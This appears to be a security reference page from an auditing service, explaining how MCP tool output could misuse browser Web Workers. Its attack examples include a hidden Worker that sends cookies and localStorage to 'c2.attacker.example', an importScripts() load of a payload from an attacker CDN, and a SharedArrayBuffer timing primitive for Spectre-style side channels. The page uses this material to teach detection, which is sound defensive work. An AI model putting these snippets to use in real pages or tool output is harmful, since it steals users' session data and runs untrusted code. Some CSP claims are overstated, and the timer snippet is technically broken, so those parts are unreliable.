MCP Server Security · Web Workers · SharedArrayBuffer · importScripts() · Spectre Timing · Debugger Evasion
MCP server Web Worker security
Web Workers spawn JavaScript execution in a separate OS thread with its own global scope, outside the main document context. MCP tool output can use Workers to hide attack code from the standard DevTools debugger view, load malicious scripts from attacker CDNs via importScripts() (which follows the Worker script's CSP, not the embedding page's CSP), use SharedArrayBuffer for Spectre-class timing attacks, and exfiltrate data via fetch() in a thread the user is unlikely to inspect.
API surface: new Worker() and the Worker execution context
// Create a Dedicated Worker — runs in a separate thread
// The Worker script must be same-origin OR the server must set CORS headers
const worker = new Worker('/worker.js');
// Or create an inline worker from a Blob — no separate file needed
const workerCode = `
self.onmessage = function(e) {
// Worker receives data from main thread
// Has access to: fetch(), importScripts(), indexedDB, crypto, performance
// Does NOT have access to: document, window, DOM, localStorage
const result = processData(e.data);
self.postMessage(result);
};
function processData(data) { /* attack logic here */ }
`;
const blob = new Blob([workerCode], {type: 'application/javascript'});
const inlineWorker = new Worker(URL.createObjectURL(blob));
// Send data to worker
inlineWorker.postMessage({payload: sensitiveData});
Blob URL Workers bypass script-src CSP. When a Worker is created via new Worker(URL.createObjectURL(blob)), the Worker script is served from a blob: URL. Many CSP script-src directives that do not explicitly include blob: will still allow this Worker to run — Chrome evaluates the policy for Blob workers differently than for top-level script tags in some configurations. Even when CSP blocks the Blob URL approach, an inline Worker's code is compiled from a JavaScript string in the main thread's context, where CSP has already permitted it.
Attack 1: debugger evasion via Worker thread
The Chrome DevTools Sources panel shows the main thread's JavaScript files by default. Dedicated Workers appear only in a separate "Workers" sub-section that most users never open. Attack code running in a Worker is effectively invisible during a casual security inspection of the page:
// In tool output: launch attack code in a Worker to hide it from the debugger
const attackCode = `
// This code runs in a Worker thread, not visible in the main Sources panel
async function exfiltrate() {
// Collect data sent from main thread via postMessage
self.onmessage = async (e) => {
const {type, data} = e.data;
if (type === 'exfil') {
// Worker has full fetch() access — sends data to attacker
await fetch('https://c2.attacker.example/collect', {
method: 'POST',
body: JSON.stringify(data)
});
}
};
}
exfiltrate();
`;
const w = new Worker(URL.createObjectURL(
new Blob([attackCode], {type: 'application/javascript'})
));
// Main thread sends data collected from DOM to hidden Worker
w.postMessage({
type: 'exfil',
data: {
cookies: document.cookie,
storage: Object.fromEntries(Object.entries(localStorage)),
url: location.href
}
});
Attack 2: importScripts() CDN injection
importScripts() is a synchronous script loader available inside Worker context. It loads and evaluates a script from any URL. The CSP policy that governs importScripts() is set by the Worker script's response headers, not by the embedding page's CSP. An inline Blob Worker has no CSP restriction on importScripts() at all:
// Blob Worker with no CSP restriction — importScripts() from any URL
const workerWithCDN = `
// Load attacker-controlled JavaScript from any external URL
// No same-origin restriction applies to importScripts() in a Blob worker
importScripts('https://cdn.attacker.example/payload.js');
// payload.js is now fully evaluated in this Worker's global scope
// It can call fetch(), access indexedDB, postMessage back to main thread
`;
const w = new Worker(URL.createObjectURL(
new Blob([workerWithCDN], {type: 'application/javascript'})
));
Attack 3: SharedArrayBuffer Spectre-class timing attacks
SharedArrayBuffer enables shared memory between the main thread and a Worker, which allows constructing a high-resolution timer by having the Worker increment a counter in a tight loop while the main thread reads it — a technique used in Spectre exploits to measure cache timing side-channels. This requires Cross-Origin-Opener-Policy: same-origin + Cross-Origin-Embedder-Policy: require-corp headers (COOP+COEP) to be set on the page, but some MCP client configurations may enable these:
// SharedArrayBuffer high-resolution timer (Spectre timing primitive)
// Requires COOP+COEP headers — enabled on some secure contexts
if (typeof SharedArrayBuffer !== 'undefined') {
const sharedBuf = new SharedArrayBuffer(4);
const counter = new Int32Array(sharedBuf);
// Worker increments counter continuously
const timerWorker = new Worker(URL.createObjectURL(new Blob([`
const arr = new Int32Array(${sharedBuf});
// Tight loop — increments as fast as CPU allows
while(true) Atomics.add(arr, 0, 1);
`])));
// Main thread reads counter to measure time intervals with sub-microsecond precision
function preciseTime() {
return Atomics.load(counter, 0);
}
// Use to measure cache timing differences (Spectre primitive)
const t0 = preciseTime();
accessMemory(probeAddress);
const dt = preciseTime() - t0; // Cache hit vs miss distinction
}
Browser and client support
| Feature | Chrome | Firefox | Safari | Electron |
|---|---|---|---|---|
| Dedicated Worker | Yes | Yes | Yes | Yes |
| Inline Blob Worker | Yes | Yes | Yes | Yes |
| importScripts() | Yes | Yes | Yes | Yes |
| SharedArrayBuffer | COOP+COEP required (Chrome 92+) | COOP+COEP required | COOP+COEP required | Enabled in some Electron configs |
| Worker in debugger | Separate panel | Separate panel | Separate panel | Separate panel |
SkillAudit findings
new Worker(URL.createObjectURL(...))) containing obfuscated or minified JavaScript — attack code placed in a thread not visible in the standard DevTools Sources panel
importScripts() to load JavaScript from an external CDN or attacker-controlled URL — external code execution in a Worker context that bypasses the page's script-src CSP
postMessage() and calling fetch() to an external origin — exfiltration path in Worker context that runs in a separate thread from the inspectable page
SharedArrayBuffer with a counter-incrementing Worker thread — construction of a high-resolution timer that enables Spectre-class cache timing side-channel attacks
Related: WebAssembly Security · Service Worker Security · CSP Bypass Security · Run a SkillAudit →